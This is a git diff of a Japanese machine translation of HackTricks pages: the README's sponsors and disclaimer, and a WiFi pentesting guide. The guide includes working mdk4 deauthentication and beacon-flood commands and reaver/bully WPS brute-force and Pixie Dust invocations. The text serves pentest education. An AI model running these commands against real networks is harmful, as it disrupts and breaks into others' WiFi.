Translated ['README.md', 'generic-methodologies-and-resources/pentesting
BIN
.gitbook/assets/image (1) (3) (1) (1).png
Normal file
After Width: | Height: | Size: 755 KiB |
Before Width: | Height: | Size: 755 KiB After Width: | Height: | Size: 129 KiB |
Before Width: | Height: | Size: 129 KiB After Width: | Height: | Size: 406 KiB |
Before Width: | Height: | Size: 406 KiB After Width: | Height: | Size: 84 KiB |
Before Width: | Height: | Size: 84 KiB After Width: | Height: | Size: 13 KiB |
30
README.md
|
@ -40,7 +40,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
![](.gitbook/assets/i3.png)
|
||||
|
||||
**Intigriti**は、**ヨーロッパで最も優れた**エシカルハッキングと**バグバウンティプラットフォーム**です。
|
||||
**Intigriti**は、ヨーロッパで最も優れたエシカルハッキングとバグバウンティプラットフォームです。
|
||||
|
||||
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してみてください!今日から[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で報酬が最大**$100,000**まで獲得できます!
|
||||
|
||||
|
@ -51,7 +51,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
<figure><img src=".gitbook/assets/image (9) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
|
||||
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
|
@ -59,7 +59,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -86,7 +86,7 @@ HackenProofの報酬は、顧客が報酬予算を入金した後に発表され
|
|||
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、ペネトレーションテスト、**セキュリティ**監査、セキュリティ意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行っています。
|
||||
|
||||
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**ハックできなければ、支払いはありません!**」と記載されており、最高品質の結果を保証しています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ということです。彼らのウェブサイトには「**私たちがハックできなければ、お金は払いません!**」と記載されており、最高品質の結果を保証しています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
|
||||
上記に加えて、WebSecはHackTricksを**熱心にサポート**しています。
|
||||
|
||||
|
@ -96,42 +96,42 @@ WebSecのもう一つの素晴らしい点は、業界平均とは異なり、We
|
|||
|
||||
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**DragonJARは、コロンビアに拠点を置く主要な攻撃的なサイバーセキュリティ企業**](https://www.dragonjar.org/)です。DragonJARは、さまざまな分野やほとんどの技術における**ペネトレーションテスト**など、包括的な攻撃的なサイバーセキュリティサービス、**レッドチーム**の攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリティトレーニングを提供しています。さらに、彼ら
|
||||
[**DragonJARは、コロンビアに拠点を置く主要な攻撃的なサイバーセキュリティ企業**](https://www.dragonjar.org/)です。DragonJARは、さまざまな分野やほとんどの技術における[**ペネトレーションテスト**](https://www.dragonjar.org/servicios-de-seguridad-informatica)など、包括的な攻撃的なサイバーセキュリティサービス、**レッドチーム**の攻撃シミュレーション、**物理**セキュリティテスト、**ストレステスト**、ソーシャルエンジニアリング、ソース**コードのセキュリティレビュー**、サイバーセキュリ
|
||||
### [SYN CUBES](https://www.syncubes.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**セキュリティスキルをサービスとして提供する**プラットフォームは、**グローバルな攻撃的なセキュリティの専門知識とスマートな自動化**を組み合わせ、情報をリアルタイムで提供し、情報に基づいた意思決定を行うためのデータを提供します。
|
||||
**セキュリティスキルをサービスとして提供する**プラットフォームは、**グローバルな攻撃的なセキュリティの専門知識とスマートな自動化**を組み合わせ、情報をリアルタイムで提供し、意思決定に必要なデータを提供します。
|
||||
|
||||
{% embed url="https://www.syncubes.com/" %}
|
||||
|
||||
## ライセンス
|
||||
|
||||
**Copyright © Carlos Polop 2023. 他の指定がない限り(書籍にコピーされた外部情報は元の著者に帰属します)、Carlos Polopによる**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks)**のテキストは**[**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**でライセンスされています。**\
|
||||
**Copyright © Carlos Polop 2023. それ以外の場所では(書籍にコピーされた外部情報は元の著者に帰属します)、Carlos Polopによる**[**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **のテキストは**[**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**でライセンスされています。**\
|
||||
**商業目的で使用する場合は、私に連絡してください。**
|
||||
|
||||
## **免責事項**
|
||||
|
||||
{% hint style="danger" %}
|
||||
この書籍『HackTricks』は教育および情報提供の目的でのみ使用することを意図しています。この書籍の内容は「現状のまま」提供され、著者および出版者は、この書籍内に含まれる情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。したがって、そのような情報に依存することは、完全に自己の責任です。
|
||||
この書籍『HackTricks』は教育および情報提供の目的でのみ使用されることを意図しています。この書籍内のコンテンツは「現状のまま」提供され、著者および出版者は、この書籍内に含まれる情報、製品、サービス、または関連するグラフィックの完全性、正確性、信頼性、適合性、または利用可能性について、明示または黙示を問わず、いかなる種類の表明または保証も行いません。したがって、そのような情報に依存する場合は、自己の責任において行ってください。
|
||||
|
||||
著者および出版者は、この書籍の使用に起因する、間接的または結果的な損失または損害、またはデータの損失または利益の損失を含む、いかなる損失または損害に対しても、一切の責任を負いません。
|
||||
|
||||
さらに、この書籍で説明されている技術やヒントは、教育および情報提供の目的でのみ提供されるものであり、いかなる違法または悪意のある活動にも使用してはなりません。著者および出版者は、違法または非倫理的な活動を是認または支持するものではなく、この書籍内に含まれる情報の使用は、ユーザー自身のリスクと裁量によるものです。
|
||||
|
||||
ユーザーは、この書籍に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、これらの技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。
|
||||
ユーザーは、この書籍内に含まれる情報に基づいて行われるすべての行動について、自己の責任を負い、これらの技術やヒントを実装しようとする場合は常に専門の助言と支援を求めるべきです。
|
||||
|
||||
この書籍の使用により生じるいかなる損害、損失、または害に対しても、ユーザーは著者および出版者を一切の責任から免責し、解放することに同意します。
|
||||
この書籍を使用することで、ユーザーは、著者および出版者を、この書籍またはその中に含まれる情報の使用によって生じるいかなる損害、損失、または害に対しても、一切の責任と責任から解放することに同意します。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?またはPEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)**をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
|
@ -42,7 +42,7 @@ iwconfig wlan0 mode monitor #Put in mode monitor
|
|||
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
|
||||
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
|
||||
```
|
||||
EAPHammerは、802.11ネットワークでEAPフレームを悪用するためのツールです。EAPHammerは、EAPフレームを使用してネットワークに接続するクライアントを攻撃し、クライアントの認証情報を取得することができます。EAPHammerは、ネットワークの脆弱性をテストするために使用されることがあります。
|
||||
EAPHammerは、802.11ネットワークでEAPフレームを悪用するためのツールです。EAPHammerは、EAPフレームを使用してネットワークに接続するクライアントを攻撃し、クライアントの認証情報を取得することができます。このツールは、ネットワークの脆弱性をテストするために使用されます。
|
||||
|
||||
EAPHammerを使用するには、次の手順に従ってください。
|
||||
|
||||
|
@ -53,7 +53,7 @@ EAPHammerを使用するには、次の手順に従ってください。
|
|||
5. クライアントがネットワークに接続すると、EAPHammerは攻撃を実行します。
|
||||
6. EAPHammerは、クライアントの認証情報を取得します。
|
||||
|
||||
EAPHammerは、ネットワークのセキュリティをテストするための強力なツールです。ただし、EAPHammerを使用する前に、法的および倫理的な制限を理解し、遵守する必要があります。
|
||||
EAPHammerは、ネットワークのセキュリティをテストするための強力なツールです。ただし、合法的な目的のためにのみ使用してください。
|
||||
```
|
||||
git clone https://github.com/s0lst1c3/eaphammer.git
|
||||
./kali-setup
|
||||
|
@ -62,11 +62,51 @@ git clone https://github.com/s0lst1c3/eaphammer.git
|
|||
|
||||
Airgeddonは、ワイヤレスネットワークのペネトレーションテストに使用されるオールインワンのツールです。このツールは、さまざまな攻撃手法を使用して、WiFiネットワークの脆弱性をテストすることができます。
|
||||
|
||||
Airgeddonは、ワイヤレスネットワークのスキャン、ハンドシェイクのキャプチャ、ハンドシェイクの解析、パスワードのクラックなど、さまざまな機能を提供しています。また、WPSピン攻撃やEvil Twin攻撃など、特定の攻撃手法もサポートしています。
|
||||
## 主な機能
|
||||
|
||||
Airgeddonは、シンプルなコマンドラインインターフェースを備えており、ユーザーフレンドリーな操作が可能です。また、多くのワイヤレスカードとドライバをサポートしているため、さまざまな環境で使用することができます。
|
||||
- ワイヤレスネットワークのスキャンと検出
|
||||
- ハンドシェイクキャプチャの自動化
|
||||
- パスワードのクラック
|
||||
- クライアントのディスコネクト
|
||||
- ディスプレイの偽造
|
||||
- ワイヤレスネットワークのジャミング
|
||||
- ワイヤレスネットワークの偽造
|
||||
- ワイヤレスネットワークの攻撃の自動化
|
||||
|
||||
Airgeddonは、ワイヤレスネットワークのセキュリティをテストするための強力なツールであり、ペネトレーションテスターやセキュリティエンジニアにとって非常に有用です。
|
||||
## インストール
|
||||
|
||||
Airgeddonは、Linuxディストリビューションで動作します。以下の手順に従って、Airgeddonをインストールしてください。
|
||||
|
||||
1. Airgeddonのリポジトリをクローンします。
|
||||
|
||||
```
|
||||
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
|
||||
```
|
||||
|
||||
2. インストールスクリプトを実行します。
|
||||
|
||||
```
|
||||
cd airgeddon
|
||||
sudo bash airgeddon.sh
|
||||
```
|
||||
|
||||
3. インストールウィザードに従って、必要な依存関係をインストールします。
|
||||
|
||||
4. インストールが完了したら、Airgeddonを起動します。
|
||||
|
||||
```
|
||||
sudo bash airgeddon.sh
|
||||
```
|
||||
|
||||
## 使用方法
|
||||
|
||||
Airgeddonの使用方法については、公式のドキュメントを参照してください。ドキュメントには、ツールの各機能の詳細な説明と使用例が含まれています。
|
||||
|
||||
- [Airgeddon公式ドキュメント](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki)
|
||||
|
||||
## 注意事項
|
||||
|
||||
Airgeddonは、合法的な目的のためにのみ使用してください。無断で他人のWiFiネットワークに侵入することは違法です。ネットワークの所有者の許可を得ることなく、Airgeddonを使用しないでください。
|
||||
```bash
|
||||
mv `which dhcpd` `which dhcpd`.old
|
||||
apt install isc-dhcp-server
|
||||
|
@ -106,7 +146,7 @@ If you prefer to run airgeddon in a Docker container, you can follow these steps
|
|||
|
||||
6. Follow the on-screen instructions to use airgeddon within the Docker container.
|
||||
|
||||
By running airgeddon in a Docker container, you can ensure that all the necessary dependencies are included and avoid any potential conflicts with your host system.
|
||||
By running airgeddon in a Docker container, you can isolate it from your host system and easily manage its dependencies.
|
||||
```bash
|
||||
docker run \
|
||||
--rm \
|
||||
|
@ -144,8 +184,8 @@ sudo python setup.py install # Install any dependencies
|
|||
|
||||
* **DoS**
|
||||
* Deauthentication/disassociation -- すべてのクライアントを切断する(または特定の ESSID/クライアント)
|
||||
* ランダムな偽 AP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
|
||||
* AP を過負荷にする -- AP を停止させようとする(通常はあまり役に立たない)
|
||||
* ランダムなフェイク AP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性がある
|
||||
* AP を過負荷にする -- AP を停止させようとする(通常はあまり有用ではありません)
|
||||
* WIDS -- IDS と遊ぶ
|
||||
* TKIP、EAPOL -- 一部の AP を DoS するための特定の攻撃
|
||||
* **クラッキング**
|
||||
|
@ -153,7 +193,7 @@ sudo python setup.py install # Install any dependencies
|
|||
* **WPA-PSK**
|
||||
* **WPS** ピンコードの「ブルートフォース」
|
||||
* **WPA PMKID** のブルートフォース
|
||||
* \[DoS +] **WPA ハンドシェイク** のキャプチャ + クラック
|
||||
* \[DoS +] **WPA ハンドシェイク** のキャプチャ + クラッキング
|
||||
* **WPA-MGT**
|
||||
* **ユーザー名のキャプチャ**
|
||||
* **ブルートフォース** 認証情報
|
||||
|
@ -169,7 +209,7 @@ sudo python setup.py install # Install any dependencies
|
|||
|
||||
### 切断パケット
|
||||
|
||||
この種の攻撃で最も一般的な方法は、**切断**パケットを使用することです。これらはデバイスをアクセスポイントから切断する責任を持つ「管理」フレームの一種です。これらのパケットを偽造することが、[多くのWi-Fiネットワークをハックする](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)鍵となります。ネットワークからいつでも任意のクライアントを強制的に切断することができます。これが行われる簡単さは、いくぶん恐ろしく、しばしばクラックのためのハンドシェイクを収集する一環として行われます。
|
||||
この種の攻撃で最も一般的な方法は、**切断**パケットを使用することです。これらはデバイスをアクセスポイントから切断する責任を持つ「管理」フレームの一種です。これらのパケットを偽造することが、[多くのWi-Fiネットワークをハッキングする](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)鍵となります。ネットワークからいつでも任意のクライアントを強制的に切断することができます。これが行われる簡単さは、いくぶん恐ろしく、しばしばクラッキングのためのハンドシェイクを収集する一環として行われます。
|
||||
|
||||
この切断を一時的に利用してハンドシェイクを収集してクラックするだけでなく、これらの切断を続けることもできます。これにより、クライアントはネットワークからの切断パケットを受け取ることになります。これらのフレームは暗号化されていないため、多くのプログラムは管理フレームを利用して、ネットワーク上の1つまたはすべてのデバイスに対して偽造して送信します。\
|
||||
**[ここ](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)からの説明です。**
|
||||
|
@ -207,7 +247,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||
|
||||
**攻撃モードb: ビーコンフラッディング**
|
||||
|
||||
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
|
||||
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることもあります!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
|
@ -227,7 +267,7 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
|||
```
|
||||
**攻撃モード p: SSIDプロービングとブルートフォース**
|
||||
|
||||
APをプローブし、応答をチェックします。SSIDが正しく非表示にされているか、APが送信範囲内にあるかを確認するのに役立ちます。ワードリストを使用して非表示のSSIDの**ブルートフォース**も可能です。
|
||||
APをプローブし、応答をチェックします。SSIDが正しく非表示にされているか、APが送信範囲内にあるかを確認するのに役立ちます。ワードリストを使用して非表示のSSIDをブルートフォースすることもできます。
|
||||
|
||||
**攻撃モード m: Michael対策の悪用**
|
||||
|
||||
|
@ -269,35 +309,35 @@ _**Airgeddon**_ は、前のコメントで提案された攻撃のほとんど
|
|||
|
||||
WPSはWi-Fi Protected Setupの略です。これは、ルーターとワイヤレスデバイスの接続をより速く簡単にするためのワイヤレスネットワークセキュリティの標準です。**WPSは、**WPA** Personalまたは**WPA2** Personalセキュリティプロトコルで暗号化されたパスワードを使用しているワイヤレスネットワークにのみ適用されます。WPSは、基本的なツールとスキルを持つハッカーによって簡単にクラックされることができる非推奨のWEPセキュリティを使用しているワイヤレスネットワークでは機能しません。([ここから](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)引用)
|
||||
|
||||
WPSは、ユーザーがネットワークに接続するために8桁のPINを使用しますが、最初の4桁がまずチェックされ、正しい場合には次に2番目の4桁がチェックされます。その後、最初の半分をブルートフォースし、次に2番目の半分をブルートフォースすることが可能です(11000通りの可能性のみ)。
|
||||
WPSは、ユーザーがネットワークに接続するために8桁のPINを使用しますが、最初の4桁がまずチェックされ、正しい場合には次に2番目の4桁がチェックされます。その後、最初の半分をブルートフォースし、次に2番目の半分をブルートフォースすることができます(11000通りの可能性のみ)。
|
||||
|
||||
### WPSブルートフォース
|
||||
|
||||
このアクションを実行するための2つの主要なツールがあります:ReaverとBully。
|
||||
|
||||
* **Reaver**は、WPSに対する堅牢で実用的な攻撃を行うように設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。
|
||||
* **Bully**は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のreaverコードに比べて、依存関係が少なく、メモリとCPUのパフォーマンスが向上し、エンディアンの処理が正しく行われ、より堅牢なオプションがあります。
|
||||
* **Bully**は、Cで書かれたWPSブルートフォース攻撃の**新しい実装**です。元のreaverコードに比べて、依存関係が少なく、メモリとCPUのパフォーマンスが向上し、エンディアンネスの正しい処理、より堅牢なオプションのセットを備えています。
|
||||
|
||||
この攻撃は、**8桁のWPS PINコードの脆弱性**を利用しています。この問題のため、プロトコルはPINの最初の4桁に関する情報を公開し、最後の桁は**チェックサム**として機能し、WPS APのブルートフォースが容易になります。\
|
||||
一部のデバイスには、通常、攻撃を繰り返し試みるMACアドレスを**ブロックするブルートフォース保護**が含まれています。その場合、この攻撃の複雑さが増します。PINをテストする間にMACアドレスを**回転**する必要があります。
|
||||
この攻撃は、**8桁のWPS PINコードの弱点**を利用しています。この問題のため、プロトコルはPINの最初の4桁に関する情報を公開し、最後の桁はチェックサムとして機能するため、WPS APのブルートフォースが容易になります。\
|
||||
一部のデバイスには、通常、攻撃を繰り返し試みるMACアドレスをブロックする**ブルートフォース保護**が含まれていることに注意してください。その場合、この攻撃の複雑さが増します。PINをテストする間にMACアドレスを**回転**する必要があります。
|
||||
|
||||
WPSの有効なコードが見つかった場合、BullyとReaverはそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを見つけることができるため、必要な時にいつでも接続することができます。
|
||||
WPSの有効なコードが見つかった場合、BullyとReaverはそれを使用してネットワークを保護するために使用されるWPA/WPA2 PSKを見つけることができますので、必要な時にいつでも接続することができます。
|
||||
```bash
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**スマートなブルートフォース**
|
||||
|
||||
すべての可能なPINを試す代わりに、攻撃対象のAPに利用可能な**PINが発見されているかどうか**(製造元のMACに依存)と、**PINソフトウェアが生成したPIN**をチェックするべきです。
|
||||
すべての可能なPINを試すことから始める代わりに、攻撃しているAPの利用可能な**PINが発見されているかどうか**(製造元のMACに依存)と、**PINソフトウェアが生成したPIN**をチェックするべきです。
|
||||
|
||||
- 既知のPINのデータベースは、特定の製造元のアクセスポイントに対して、同じWPS PINが使用されていることが知られているものです。このデータベースにはMACアドレスの最初の3オクテットと、この製造元に非常に可能性の高い対応するPINのリストが含まれています。
|
||||
- WPS PINを生成するためのいくつかのアルゴリズムがあります。たとえば、ComputePINとEasyBoxは、アクセスポイントのMACアドレスを計算に使用します。ただし、ArcadyanアルゴリズムではデバイスIDも必要です。
|
||||
|
||||
### WPS Pixie Dust攻撃
|
||||
|
||||
Dominique Bongardは、一部のAPが**ノンス**(**E-S1**および**E-S2**として知られる)を生成する際に弱い方法を持っていることを発見しました。これらのノンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINをハッシュで私たちに提供する必要があり、それによってAPもPINを知っていることを証明し、クライアントが偽のAPに接続していないことを確認する必要があるからです。これらのE-S1とE-S2は、WPS PINを含む「ロックボックスを開けるための鍵」と言えます。詳細はこちら:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
Dominique Bongardは、一部のAPが**ノンス**(**E-S1**および**E-S2**として知られる)を生成する際に弱い方法を持っていることを発見しました。これらのノンスが何であるかを特定できれば、APのWPS PINを簡単に見つけることができます。なぜなら、APはPINをハッシュで私たちに提供する必要があり、それによってAPもPINを知っていることを証明し、クライアントが偽のAPに接続していないことを示すためです。これらのE-S1とE-S2は、WPS PINを含む「ロックボックスを開けるための鍵」と言えます。詳細はこちら:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
|
||||
基本的に、一部の実装では認証通信中にPINが2つの部分に分解され、クライアントに送信される際にランダムなキーを使用することに失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースすることができました。
|
||||
基本的に、一部の実装では、認証通信中にPINが2つの部分に分解され、クライアントに送信される際にランダムなキーを使用することに失敗していたため、オフライン攻撃を使用して有効なPINをブルートフォースすることができました。
|
||||
```
|
||||
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
|
||||
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
|
||||
|
@ -317,7 +357,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
* 5と6は**カスタムPIN**を試すことができます(もし持っている場合)
|
||||
* 7と8は**Pixie Dust攻撃**を実行します
|
||||
* 13は**NULL PIN**をテストすることができます
|
||||
* 11と12は、利用可能なデータベースから選択したAPに関連するPINを**収集**し、ComputePIN、EasyBox、およびオプションでArcadyan(おすすめ、なぜなら)を使用して可能な**PIN**を**生成**します
|
||||
* 11と12は利用可能なデータベースから選択したAPに関連するPINを**収集**し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能な**PIN**を**生成**します
|
||||
* 9と10は**すべての可能なPIN**をテストします
|
||||
|
||||
## **WEP**
|
||||
|
@ -326,15 +366,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
|||
|
||||
![](<../../.gitbook/assets/image (125).png>)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長する日々のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
@ -355,7 +395,7 @@ HackenProofのバウンティは、顧客が報酬予算を入金した後に開
|
|||
```
|
||||
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
